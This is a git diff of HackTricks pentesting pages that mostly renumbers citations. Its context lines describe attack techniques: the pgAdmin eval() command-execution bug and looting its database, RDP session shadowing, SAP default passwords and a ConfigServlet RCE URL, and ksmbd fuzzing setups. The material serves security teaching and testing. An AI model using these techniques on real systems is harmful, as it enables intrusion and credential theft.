-In **pgAdmin 4 < 9.2**, the POST endpoints **`/sqleditor/query_tool/download`** (`query_commited`) and **`/cloud/deploy`** (`high_availability`) pass attacker-controlled data to Python `eval()`. Any authenticated pgAdmin user who can reach these routes can turn a normal export/deploy action into OS command execution as the pgAdmin service account.
+In **pgAdmin 4 < 9.2**, the POST endpoints **`/sqleditor/query_tool/download`** (`query_commited`) and **`/cloud/deploy`** (`high_availability`) pass attacker-controlled data to Python `eval()`. Any authenticated pgAdmin user who can reach these routes can turn a normal export/deploy action into OS command execution as the pgAdmin service account.<sup>[[13]](#references)[[14]](#references)</sup>
 
 Practical workflow:
 
@@ -979,7 +979,7 @@ Practical workflow:
 
 #### Post-exploitation: environment and SQLite loot
 
-If the shell lands inside the pgAdmin container, check **environment variables** and **`/var/lib/pgadmin/pgadmin4.db`** first:
+If the shell lands inside the pgAdmin container, check **environment variables** and **`/var/lib/pgadmin/pgadmin4.db`** first:<sup>[[12]](#references)</sup>
 
 ```bash
 env | sort
@@ -1002,7 +1002,7 @@ When **`save_password=0`**, the password may still be available from the process
 
 #### Verifying pgAdmin password hashes
 
-pgAdmin user hashes are **not** a direct PBKDF2 of the plaintext. For the observed scheme, derive **`Base64(HMAC-SHA512(SECURITY_PASSWORD_SALT, plaintext_password))`** first, then verify that derived value against the stored Passlib PBKDF2-SHA512 record.
+pgAdmin user hashes are **not** a direct PBKDF2 of the plaintext. For the observed scheme, derive **`Base64(HMAC-SHA512(SECURITY_PASSWORD_SALT, plaintext_password))`** first, then verify that derived value against the stored Passlib PBKDF2-SHA512 record.<sup>[[12]](#references)</sup>
 
 ```python
 import hashlib
@@ -1060,12 +1060,19 @@ What to look for:
 
 ## References
 
-- [SupaPwn: Hacking Our Way into Lovable's Office and Helping Secure Supabase](https://www.hacktron.ai/blog/supapwn)
-- [HTB: DarkCorp by 0xdf](https://0xdf.gitlab.io/2025/10/18/htb-darkcorp.html)
-- [HTB: Fries by 0xdf](https://0xdf.gitlab.io/2026/07/25/htb-fries.html)
-- [PayloadsAllTheThings: PostgreSQL Injection - Using COPY TO/FROM PROGRAM](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md#using-copy-tofrom-program)
-- [pgAdmin fix for CVE-2025-2945](https://github.com/pgadmin-org/pgadmin4/commit/75be0bc22d3d8d7620711835db817bd7c021007c)
-- [Postgres SQL injection to RCE with archive_command (The Gray Area)](https://thegrayarea.tech/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)
-- [NVD: CVE-2025-2945](https://nvd.nist.gov/vuln/detail/CVE-2025-2945)
+- [1] [Port scanning through PostgreSQL `dblink` connection error messages (Exploit-DB Paper #13084)](https://www.exploit-db.com/papers/13084)
+- [2] [Updating PostgreSQL Data Without UPDATE (adeadfed)](https://adeadfed.com/posts/updating-postgresql-data-without-update/)
+- [3] [Authenticated Arbitrary Command Execution on PostgreSQL 9.3+ (GreenWolf Security)](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5)
+- [4] [HTB: DarkCorp by 0xdf](https://0xdf.gitlab.io/2025/10/18/htb-darkcorp.html)
+- [5] [PayloadsAllTheThings: PostgreSQL Injection - Using COPY TO/FROM PROGRAM](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md#using-copy-tofrom-program)
+- [6] [Hacking Postgres via SQLi: ssl_passphrase_command RCE (Pulse Security)](https://pulsesecurity.co.nz/articles/postgres-sqli)
+- [7] [Postgres SQL injection to RCE with archive_command (The Gray Area)](https://thegrayarea.tech/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)
+- [8] [PostgreSQL SELECT-only RCE via session_preload_libraries (adeadfed)](https://adeadfed.com/posts/postgresql-select-only-rce/)
+- [9] [The Cloud Has an Isolation Problem: PostgreSQL Vulnerabilities (Wiz)](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities)
+- [10] [Hell's Keychain: Supply Chain Attack in IBM Cloud Databases for PostgreSQL (Wiz)](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql)
+- [11] [SupaPwn: Hacking Our Way into Lovable's Office and Helping Secure Supabase](https://www.hacktron.ai/blog/supapwn)
+- [12] [HTB: Fries by 0xdf](https://0xdf.gitlab.io/2026/07/25/htb-fries.html)
+- [13] [pgAdmin fix for CVE-2025-2945](https://github.com/pgadmin-org/pgadmin4/commit/75be0bc22d3d8d7620711835db817bd7c021007c)
+- [14] [NVD: CVE-2025-2945](https://nvd.nist.gov/vuln/detail/CVE-2025-2945)
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-rdp.md b/src/network-services-pentesting/pentesting-rdp.md
index 79d3bc79330..f6d2bee41d4 100644
--- a/src/network-services-pentesting/pentesting-rdp.md
+++ b/src/network-services-pentesting/pentesting-rdp.md
@@ -110,7 +110,7 @@ ts::remote /id:2    #Connect to the session
 
 ### RDP Shadowing (Remote Control)
 
-If **Remote Desktop Services shadowing** is enabled, you can **view or control** another user's active session (sometimes **without consent**) using built-in `mstsc` switches.
+If **Remote Desktop Services shadowing** is enabled, you can **view or control** another user's active session (sometimes **without consent**) using built-in `mstsc` switches.<sup>[[1]](#references)</sup>
 
 ```bash
 # List sessions on a remote host
@@ -129,7 +129,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Se
 
 ### RDP Virtual Channel Tunneling
 
-RDP supports **virtual channels** that can be abused for **pivoting/tunneling** over an established RDP session. One option is **rdp2tcp** (client/server) which can multiplex TCP forwards over RDP (works with FreeRDP).
+RDP supports **virtual channels** that can be abused for **pivoting/tunneling** over an established RDP session. One option is **rdp2tcp** (client/server) which can multiplex TCP forwards over RDP (works with FreeRDP).<sup>[[2]](#references)</sup>
 
 ```bash
 # Start FreeRDP with rdp2tcp virtual channel
@@ -200,11 +200,9 @@ Entry_2:
 ```
 
 
-
-
 ## References
 
-- [https://swarm.ptsecurity.com/remote-desktop-services-shadowing/](https://swarm.ptsecurity.com/remote-desktop-services-shadowing/)
-- [https://www.errno.fr/rdptunneling/](https://www.errno.fr/rdptunneling/)
+- [1] [Remote Desktop Services Shadowing – Beyond the Shadowed Session](https://swarm.ptsecurity.com/remote-desktop-services-shadowing/)
+- [2] [RDP tunneling with rdp2tcp](https://www.errno.fr/rdptunneling/)
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-remote-gdbserver.md b/src/network-services-pentesting/pentesting-remote-gdbserver.md
index c3c7f396289..8d7b0fdbe58 100644
--- a/src/network-services-pentesting/pentesting-remote-gdbserver.md
+++ b/src/network-services-pentesting/pentesting-remote-gdbserver.md
@@ -185,6 +185,3 @@ RemoteCmd()
 - [1] [Stack Overflow – gdbserver: execute shell commands of the target](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target)
 
 {{#include ../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/network-services-pentesting/pentesting-rlogin.md b/src/network-services-pentesting/pentesting-rlogin.md
index 1a46d69b4ad..c2764b2c33b 100644
--- a/src/network-services-pentesting/pentesting-rlogin.md
+++ b/src/network-services-pentesting/pentesting-rlogin.md
@@ -2,7 +2,6 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-
 ## Basic Information
 
 In the past, **rlogin** was widely utilized for remote administration tasks. However, due to concerns regarding its security, it has largely been superseded by **slogin** and **ssh**. These newer methods provide enhanced security for remote connections.
@@ -35,8 +34,4 @@ rlogin <IP> -l <username>
 find / -name .rhosts
 ```
 
-
 {{#include ../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/network-services-pentesting/pentesting-rpcbind.md b/src/network-services-pentesting/pentesting-rpcbind.md
index 2042e2589f3..81e07fb7883 100644
--- a/src/network-services-pentesting/pentesting-rpcbind.md
+++ b/src/network-services-pentesting/pentesting-rpcbind.md
@@ -178,6 +178,3 @@ Entry_3:
 - [3] [How to Bypass Filtered Portmapper Port 111](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc)
 
 {{#include ../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/network-services-pentesting/pentesting-rsh.md b/src/network-services-pentesting/pentesting-rsh.md
index 98351059947..01fb4643176 100644
--- a/src/network-services-pentesting/pentesting-rsh.md
+++ b/src/network-services-pentesting/pentesting-rsh.md
@@ -26,6 +26,3 @@ rsh domain\\user@<IP> <Command>
 - [1] [Overview of the Remote Shell RSH - SSH Academy](https://www.ssh.com/ssh/rsh)
 
 {{#include ../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/network-services-pentesting/pentesting-sap.md b/src/network-services-pentesting/pentesting-sap.md
index 7e83bf600ff..ae6359d6531 100644
--- a/src/network-services-pentesting/pentesting-sap.md
+++ b/src/network-services-pentesting/pentesting-sap.md
@@ -16,11 +16,11 @@ Upon initial creation, this user SAP\* gets a default password: “060719992”
 You’d be surprised if you knew how often these **passwords aren’t changed in test or dev environments**!
 
 Try to get access to the shell of any server using username &lt;SID&gt;adm.  
-Bruteforcing can help, whoever there can be Account Lockout mechanism.
+Bruteforcing can help, whoever there can be Account Lockout mechanism.<sup>[[8]](#references)</sup>
 
 ## Discovery
 
-> Next section is mostly from [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) from user shipcod3!<sup>[[10]](#references)</sup>
+> Next section is mostly from [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) from user shipcod3!<sup>[[9]](#references)</sup>
 
 - Check the Application Scope or Program Brief for testing. Take note of the hostnames or system instances for connecting to SAP GUI.
 - Use OSINT \(open source intelligence\), Shodan and Google Dorks to check for files, subdomains, and juicy information if the application is Internet-facing or public:
@@ -77,7 +77,7 @@ msf auxiliary(sap_service_discovery) > run
 Here is the command to connect to SAP GUI  
 `sapgui <sap server hostname> <system number>`
 
-- Check for default credentials \(In Bugcrowd’s Vulnerability Rating Taxonomy, this is considered as P1 -&gt; Server Security Misconfiguration \| Using Default Credentials \| Production Server\):
+- Check for default credentials \(In Bugcrowd’s Vulnerability Rating Taxonomy, this is considered as P1 -&gt; Server Security Misconfiguration \| Using Default Credentials \| Production Server\):<sup>[[3]](#references)</sup>
 
 ```text
 # SAP* - High privileges - Hardcoded kernel user
@@ -131,7 +131,7 @@ BWDEVELOPER:Down1oad:001
 ```
 
 - Run Wireshark then authenticate to the client \(SAP GUI\) using the credentials you got because some clients transmit credentials without SSL. There are two known plugins for Wireshark that can dissect the main headers used by the SAP DIAG protocol too: SecureAuth Labs SAP dissection plug-in and SAP DIAG plugin by Positive Research Center.
-- Check for privilege escalations like using some SAP Transaction Codes \(tcodes\) for low-privilege users:
+- Check for privilege escalations like using some SAP Transaction Codes \(tcodes\) for low-privilege users:<sup>[[4]](#references)</sup>
   - SU01 - To create and maintain the users
   - SU01D - To Display Users
   - SU10 - For mass maintenance
@@ -154,7 +154,7 @@ BWDEVELOPER:Down1oad:001
 - Treat SAP Web Dispatcher / ICM like any other reverse proxy and test parsing edge cases \(verb tampering, path normalization, front-end/back-end desync behaviour, request smuggling on legacy stacks\) in addition to classic web bugs.
 - Check out Jason Haddix’s [“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm) for testing web vulnerabilities.
 - Auth Bypass via verb Tampering? Maybe :\)
-- Open `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#` then hit the “Choose” Button and then in the opened window press “Search”. You should be able to see a list of SAP users \(Vulnerability Reference: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/) \)
+- Open `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#` then hit the “Choose” Button and then in the opened window press “Search”. You should be able to see a list of SAP users \(Vulnerability Reference: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/) \)<sup>[[5]](#references)</sup>
 - Are the credentials submitted over HTTP? If it is then it is considered as P3 based on Bugcrowd’s [Vulnerability Rating Taxonomy](https://bugcrowd.com/vulnerability-rating-taxonomy): Broken Authentication and Session Management \| Weak Login Function Over HTTP. Hint: Check out [http://SAP:50000/startPage](http://sap:50000/startPage) too or the logon portals :\)
 
 ![SAP Start Page](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg)
@@ -195,7 +195,7 @@ BWDEVELOPER:Down1oad:001
 
 ## Configuration Parameters
 
-If you have correct login details during the pentest or you have managed to login to SAP GUI using basic credentials, you are able to check the parameter values. Many basic and custom configuration parameter values ​​are considered vulnerabilities.
+If you have correct login details during the pentest or you have managed to login to SAP GUI using basic credentials, you are able to check the parameter values. Many basic and custom configuration parameter values ​​are considered vulnerabilities.<sup>[[6]](#references)</sup>
 
 You can check parameter values ​​both manually and automatically, using scripts (e.g. [SAP Parameter Validator](https://github.com/damianStrojek/SAPPV)).
 
@@ -275,7 +275,7 @@ Vulnerability: "SAP Parameter Misconfiguration: bdc/bdel_auth_check"
 ## Attack!
 
 - Check if it runs on old servers or technologies like Windows 2000.
-- Plan the possible exploits / attacks, there are a lot of Metasploit modules for SAP discovery \(auxiliary modules\) and exploits:
+- Plan the possible exploits / attacks, there are a lot of Metasploit modules for SAP discovery \(auxiliary modules\) and exploits:<sup>[[1]](#references)</sup>
 
 ```text
 msf > search sap
@@ -344,9 +344,9 @@ Matching Modules
 
 ### RFC Abuse & Lateral Movement
 
-- Check transaction `SM59` for stored credentials, trusted RFC destinations, and destinations with overly broad technical users. A compromise in a lower-tier SAP system is often enough to pivot to a better-trusted one if operators kept RFC trust relationships for transport, monitoring, or integrations.
+- Check transaction `SM59` for stored credentials, trusted RFC destinations, and destinations with overly broad technical users. A compromise in a lower-tier SAP system is often enough to pivot to a better-trusted one if operators kept RFC trust relationships for transport, monitoring, or integrations.<sup>[[10]](#references)</sup>
 - Review whether remote-enabled function modules can be abused from the connector you reached. Historically interesting examples for post-auth testing are `RFC_READ_TABLE` \(data extraction\), `RFC_PING` \(service discovery / callback testing\), and command-execution primitives such as `SXPG_CALL_SYSTEM` or `SXPG_COMMAND_EXECUTE` when the target user is over-privileged.
-- Test RFC callback behaviour when you control one side of a trust relationship. Callback abuse matters because a destination can allow a benign function call but still execute attacker-controlled callback functions on the caller side if callback restrictions are weak or disabled. In practice, validate whether the destination has an active allowlist and whether `rfc/callback_security_method` is enforcing it.<sup>[[12]](#references)</sup>
+- Test RFC callback behaviour when you control one side of a trust relationship. Callback abuse matters because a destination can allow a benign function call but still execute attacker-controlled callback functions on the caller side if callback restrictions are weak or disabled. In practice, validate whether the destination has an active allowlist and whether `rfc/callback_security_method` is enforcing it.<sup>[[11]](#references)</sup>
 - If you gain access to one SAP system, try a trusted RFC jump from `SM59`: using the same admin identifier in the already-compromised source system can let you open the trusting target directly with the remote user's privileges. This is especially relevant in landscapes where SolMan, BW, PI/PO, or transport systems maintain long-lived trusted links.
 
 - Try to use some known exploits \(check out Exploit-DB\) or attacks like the old but goodie “SAP ConfigServlet Remote Code Execution” in the SAP Portal:
@@ -357,7 +357,7 @@ http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sa
 
 ![SAP Config Servlet RCE](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap_rce.jpeg)
 
-- Before running the `start` command on the bizploit script at the Discovery phase, you can also add the following for performing vulnerability assessment:
+- Before running the `start` command on the bizploit script at the Discovery phase, you can also add the following for performing vulnerability assessment:<sup>[[2]](#references)[[7]](#references)</sup>
 
 ```text
 bizploit> plugins
@@ -398,14 +398,9 @@ bizploit> start
 - [5] [Breaking SAP Portal](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf)
 - [6] [Top 10 most interesting SAP vulnerabilities and attacks](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
 - [7] [Assessing the security of SAP ecosystems with bizploit: Discovery](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery)
-- [8] [SAP password storage internals (SecStore / UME)](https://www.exploit-db.com/docs/43859)
-- [9] [Pentesting SAP applications: An introduction](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/)
-- [10] [mySapAdventures - a methodology on testing/hacking SAP applications](https://github.com/shipcod3/mySapAdventures)
-- [11] [SAP Remote Function Call \(RFC\) Vulnerabilities in 2023](https://onapsis.com/blog/sap-remote-function-call-vulnerabilities-in-2023/)
-- [12] [The Risks of SAP RFC Callbacks and How to Avoid Them](https://onapsis.com/blog/risks-sap-rfc-callbacks-and-how-avoid-them/)
-
+- [8] [Pentesting SAP applications: An introduction](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/)
+- [9] [mySapAdventures - a methodology on testing/hacking SAP applications](https://github.com/shipcod3/mySapAdventures)
+- [10] [SAP Remote Function Call \(RFC\) Vulnerabilities in 2023](https://onapsis.com/blog/sap-remote-function-call-vulnerabilities-in-2023/)
+- [11] [The Risks of SAP RFC Callbacks and How to Avoid Them](https://onapsis.com/blog/risks-sap-rfc-callbacks-and-how-avoid-them/)
 
 {{#include ../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md
index aece54d7189..2f2c94923e6 100644
--- a/src/network-services-pentesting/pentesting-smb/README.md
+++ b/src/network-services-pentesting/pentesting-smb/README.md
@@ -367,7 +367,7 @@ Specially interesting from shares are the files called **`Registry.xml`** as the
 
 ### ShareHound – OpenGraph collector for SMB shares (BloodHound)
 
-[ShareHound](https://github.com/p0dalirius/sharehound) discovers domain SMB shares, traverses them, extracts ACLs, and emits an OpenGraph JSON file for BloodHound CE/Enterprise.<sup>[[7]](#references)</sup>
+[ShareHound](https://github.com/p0dalirius/sharehound) discovers domain SMB shares, traverses them, extracts ACLs, and emits an OpenGraph JSON file for BloodHound CE/Enterprise.<sup>[[6]](#references)</sup>
 
 - Baseline collection:
   1) LDAP: enumerate computer objects, read `dNSHostName`
@@ -376,7 +376,7 @@ Specially interesting from shares are the files called **`Registry.xml`** as the
   4) Crawl shares (BFS/DFS), enumerate files/folders, capture permissions
 
 ShareQL-driven traversal
-- [ShareQL](https://github.com/p0dalirius/shareql) is a first-match-wins DSL to allow/deny traversal by host/share/path and set per-rule max depth. Focus on interesting shares and cap recursion.<sup>[[8]](#references)</sup>
+- [ShareQL](https://github.com/p0dalirius/shareql) is a first-match-wins DSL to allow/deny traversal by host/share/path and set per-rule max depth. Focus on interesting shares and cap recursion.<sup>[[7]](#references)</sup>
 
 Example ShareQL rules
 ```text
@@ -779,8 +779,7 @@ Entry_6:
 - [3] [NVD - CVE-2026-4480](https://nvd.nist.gov/vuln/detail/CVE-2026-4480)
 - [4] [Rclone `obscure` documentation](https://rclone.org/commands/rclone_obscure/)
 - [5] [NetExec (CME) wiki – Kerberos usage](https://www.netexec.wiki/)
-- [6] [Pentesting Kerberos (88) – client setup and troubleshooting](../pentesting-kerberos-88/README.md)
-- [7] [ShareHound (collector)](https://github.com/p0dalirius/sharehound)
-- [8] [ShareQL (DSL)](https://github.com/p0dalirius/shareql)
+- [6] [ShareHound (collector)](https://github.com/p0dalirius/sharehound)
+- [7] [ShareQL (DSL)](https://github.com/p0dalirius/shareql)
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md
index d9deca1b16f..17bb9e33e7a 100644
--- a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md
+++ b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md
@@ -3,14 +3,14 @@
 {{#include ../../banners/hacktricks-training.md}}
 
 ## Overview
-This page abstracts practical techniques to exercise and fuzz the Linux in-kernel SMB server (ksmbd) using syzkaller. It focuses on expanding the protocol attack surface through configuration, building a stateful harness capable of chaining SMB2 operations, generating grammar-valid PDUs, biasing mutations into weakly-covered code paths, and leveraging syzkaller features such as focus_areas and ANYBLOB. While the original research enumerates specific CVEs, here we emphasise the reusable methodology and concrete snippets you can adapt to your own setups.
+This page abstracts practical techniques to exercise and fuzz the Linux in-kernel SMB server (ksmbd) using syzkaller. It focuses on expanding the protocol attack surface through configuration, building a stateful harness capable of chaining SMB2 operations, generating grammar-valid PDUs, biasing mutations into weakly-covered code paths, and leveraging syzkaller features such as focus_areas and ANYBLOB. While the original research enumerates specific CVEs, here we emphasise the reusable methodology and concrete snippets you can adapt to your own setups.<sup>[[1]](#references)[[2]](#references)</sup>
 
 Target scope: SMB2/SMB3 over TCP. Kerberos and RDMA are intentionally out-of-scope to keep the harness simple.
 
 ---
 
 ## Expand ksmbd Attack Surface via Configuration
-By default, a minimal ksmbd setup leaves large parts of the server untested. Enable the following features to drive the server through additional parsers/handlers and reach deeper code paths:
+By default, a minimal ksmbd setup leaves large parts of the server untested. Enable the following features to drive the server through additional parsers/handlers and reach deeper code paths:<sup>[[1]](#references)</sup>
 
 - Global-level
   - Durable handles
@@ -30,7 +30,7 @@ Enabling these increases execution in modules such as:
 
 Notes
 - Exact options depend on your distro’s ksmbd userspace (ksmbd-tools). Review /etc/ksmbd/ksmbd.conf and per-share sections to enable durable handles, leases, oplocks and VFS objects.
-- Multi-channel and durable handles alter state machines and lifetimes, often surfacing UAF/refcount/OOB bugs under concurrency.
+- Multi-channel and durable handles alter state machines and lifetimes, often surfacing UAF/refcount/OOB bugs under concurrency.<sup>[[1]](#references)</sup>
 
 Minimal lab configuration (adjust to the options your kernel/userspace build actually exposes):
 
@@ -52,8 +52,8 @@ Minimal lab configuration (adjust to the options your kernel/userspace build act
 ```
 
 Why these toggles matter
-- `server multi channel support` is documented as experimental in current `ksmbd.conf(5)`, which makes it a good fuzz-only knob for race/lifetime bugs.
-- `acl_xattr` and `streams_xattr` move traffic into Security Descriptor and alternate-data-stream backends instead of only the ordinary file I/O fast path.
+- `server multi channel support` is documented as experimental in current `ksmbd.conf(5)`, which makes it a good fuzz-only knob for race/lifetime bugs.<sup>[[13]](#references)</sup>
+- `acl_xattr` and `streams_xattr` move traffic into Security Descriptor and alternate-data-stream backends instead of only the ordinary file I/O fast path.<sup>[[1]](#references)</sup>
 
 ---
 
@@ -62,7 +62,7 @@ SMB3 needs a valid session. Implementing Kerberos in harnesses adds complexity,
 
 - Allow guest access and set map to guest = bad user so unknown users fall back to GUEST.
 - Accept NTLMv2 (patch policy if disabled). This keeps the handshake simple while exercising SMB3 code paths.
-- Patch out strict credit checks when experimenting (post-hardening for CVE-2024-50285 made simultaneous-op crediting stricter). Otherwise, rate-limits can reject fuzzed sequences too early.
+- Patch out strict credit checks when experimenting (post-hardening for CVE-2024-50285 made simultaneous-op crediting stricter). Otherwise, rate-limits can reject fuzzed sequences too early.<sup>[[1]](#references)</sup>
 - Increase max connections (e.g., to 65536) to avoid early rejections during high-throughput fuzzing.
 
 Caution: These relaxations are to facilitate fuzzing only. Do not deploy with these settings in production.
@@ -70,7 +70,7 @@ Caution: These relaxations are to facilitate fuzzing only. Do not deploy with th
 ---
 
 ## Stateful Harness: Extract Resources and Chain Requests
-SMB is stateful: many requests depend on identifiers returned by prior responses (SessionId, TreeID, FileID pairs). Your harness must parse responses and reuse IDs within the same program to reach deep handlers (e.g., smb2_create → smb2_ioctl → smb2_close).
+SMB is stateful: many requests depend on identifiers returned by prior responses (SessionId, TreeID, FileID pairs). Your harness must parse responses and reuse IDs within the same program to reach deep handlers (e.g., smb2_create → smb2_ioctl → smb2_close).<sup>[[1]](#references)</sup>
 
 Example snippet to process a response buffer (skipping the +4B NetBIOS PDU length) and cache IDs:
 
@@ -101,11 +101,11 @@ void process_buffer(int msg_no, const char *buffer, size_t received) {
 ```
 
 Tips
-- Keep one fuzzer process sharing authentication/state: better stability and coverage with ksmbd’s global/session tables. syzkaller still injects concurrency by marking ops async, rerun internally.
-- Syzkaller’s experimental reset_acc_state can reset global state but may introduce heavy slowdown. Prefer stability and focus fuzzing instead.
+- Keep one fuzzer process sharing authentication/state: better stability and coverage with ksmbd’s global/session tables. syzkaller still injects concurrency by marking ops async, rerun internally.<sup>[[6]](#references)</sup>
+- Syzkaller’s experimental reset_acc_state can reset global state but may introduce heavy slowdown. Prefer stability and focus fuzzing instead.<sup>[[1]](#references)</sup>
 
 ## Prefer a Hybrid Harness Over One Giant Pseudo-Syscall
-If you keep extending the setup, use the custom pseudo-syscall mainly for the bootstrap steps that are annoying to express declaratively (negotiate/session-setup/tree-connect), then export the returned identifiers as syzkaller resources for follow-up operations. syzkaller explicitly discourages overusing pseudo-syscalls, and a hybrid model makes minimization/crossover noticeably less painful.
+If you keep extending the setup, use the custom pseudo-syscall mainly for the bootstrap steps that are annoying to express declaratively (negotiate/session-setup/tree-connect), then export the returned identifiers as syzkaller resources for follow-up operations. syzkaller explicitly discourages overusing pseudo-syscalls, and a hybrid model makes minimization/crossover noticeably less painful.<sup>[[1]](#references)[[14]](#references)</sup>
 
 Example sketch:
 
@@ -125,7 +125,7 @@ This keeps ordering information visible to the fuzzer instead of hiding the whol
 ---
 
 ## Grammar-Driven SMB2 Generation (Valid PDUs)
-Translate the Microsoft Open Specifications SMB2 structures into a fuzzer grammar so your generator produces structurally valid PDUs, which systematically reach dispatchers and IOCTL handlers.
+Translate the Microsoft Open Specifications SMB2 structures into a fuzzer grammar so your generator produces structurally valid PDUs, which systematically reach dispatchers and IOCTL handlers.<sup>[[11]](#references)</sup>
 
 Example (SMB2 IOCTL request):
 
@@ -162,14 +162,14 @@ Recent upstream fixes landed in parser families that are easy to miss if the cor
 - **Named streams**: with `streams_xattr`, open paths such as `file:stream` and exercise `CREATE -> WRITE/READ -> CLOSE` using large offsets, reconnects, and sparse lengths.
 - **Compound requests**: build request chains such as `READ -> QUERY_INFO(Security)`, `QUERY_DIRECTORY -> QUERY_INFO(FILE_ALL_INFORMATION)`, and `READ -> QUERY_INFO(EA)` so the second operation receives only the leftover response budget from the first.
 
-That bias is worthwhile because recent bug fixes landed in create-lease parsing, durable-handle context parsing, DACL/ACE validation, and compound `QUERY_INFO` response builders. If those objects stay opaque, syzkaller tends to spend mutations on packet noise instead of the fields that actually gate parser depth.
+That bias is worthwhile because recent bug fixes landed in create-lease parsing, durable-handle context parsing, DACL/ACE validation, and compound `QUERY_INFO` response builders. If those objects stay opaque, syzkaller tends to spend mutations on packet noise instead of the fields that actually gate parser depth.<sup>[[1]](#references)</sup>
 
 For an exploitation-oriented example reached through `streams_xattr`, check [the dedicated named-stream OOB write page](../../binary-exploitation/linux-kernel-exploitation/ksmbd-streams_xattr-oob-write-cve-2025-37947.md).
 
 ---
 
 ## Add Compound and Reconnect Scenarios to the Corpus
-Recent fixes showed that request parsing is only half of the attack surface: ksmbd also breaks in response builders and cross-connection lifetime handling.
+Recent fixes showed that request parsing is only half of the attack surface: ksmbd also breaks in response builders and cross-connection lifetime handling.<sup>[[1]](#references)</sup>
 
 High-yield scenarios to model explicitly:
 - **Compound related operations**: keep `NextCommand` grammar-valid and deliberately starve the second response with a first command that consumes most of the shared output buffer.
@@ -186,7 +186,7 @@ These patterns map directly to recent bug families: response-buffer misaccountin
 ---
 
 ## Directed Fuzzing With focus_areas
-Use syzkaller’s experimental focus_areas to overweight specific functions/files that currently have weak coverage. Example JSON:
+Use syzkaller’s experimental focus_areas to overweight specific functions/files that currently have weak coverage.<sup>[[4]](#references)</sup> Example JSON:
 
 ```json
 {
@@ -198,7 +198,7 @@ Use syzkaller’s experimental focus_areas to overweight specific functions/file
 }
 ```
 
-This helps construct valid ACLs that hit arithmetic/overflow paths in smbacl.c. For instance, a malicious Security Descriptor with an oversized dacloffset reproduces an integer-overflow.
+This helps construct valid ACLs that hit arithmetic/overflow paths in smbacl.c. For instance, a malicious Security Descriptor with an oversized dacloffset reproduces an integer-overflow.<sup>[[1]](#references)</sup>
 
 Reproducer builder (minimal Python):
 
@@ -222,7 +222,7 @@ def build_sd():
 ---
 
 ## Breaking Coverage Plateaus With ANYBLOB
-syzkaller’s anyTypes (ANYBLOB/ANYRES) allow collapsing complex structures into blobs that mutate generically. Seed a new corpus from public SMB pcaps and convert payloads into syzkaller programs calling your pseudo-syscall (e.g., syz_ksmbd_send_req):
+syzkaller’s anyTypes (ANYBLOB/ANYRES) allow collapsing complex structures into blobs that mutate generically.<sup>[[5]](#references)</sup> Seed a new corpus from public SMB pcaps and convert payloads into syzkaller programs calling your pseudo-syscall (e.g., syz_ksmbd_send_req):<sup>[[12]](#references)</sup>
 
 ```bash
 # Extract SMB payloads to JSON
@@ -247,7 +247,7 @@ for i, pkt in enumerate(packets):
     )
 ```
 
-This jump-starts exploration and can immediately trigger UAFs (e.g., in ksmbd_sessions_deregister) while lifting coverage a few percent.
+This jump-starts exploration and can immediately trigger UAFs (e.g., in ksmbd_sessions_deregister) while lifting coverage a few percent.<sup>[[1]](#references)</sup>
 
 Higher-value captures to seed on purpose
 - Lease negotiation / lease-break traces
@@ -259,9 +259,9 @@ Higher-value captures to seed on purpose
 ---
 
 ## Sanitizers: Beyond KASAN
-- KASAN remains the primary detector for heap bugs (UAF/OOB).
-- KCSAN often yields false positives or low-severity data races in this target.
-- UBSAN/KUBSAN can catch declared-bounds mistakes that KASAN misses due to array-index semantics. Example:
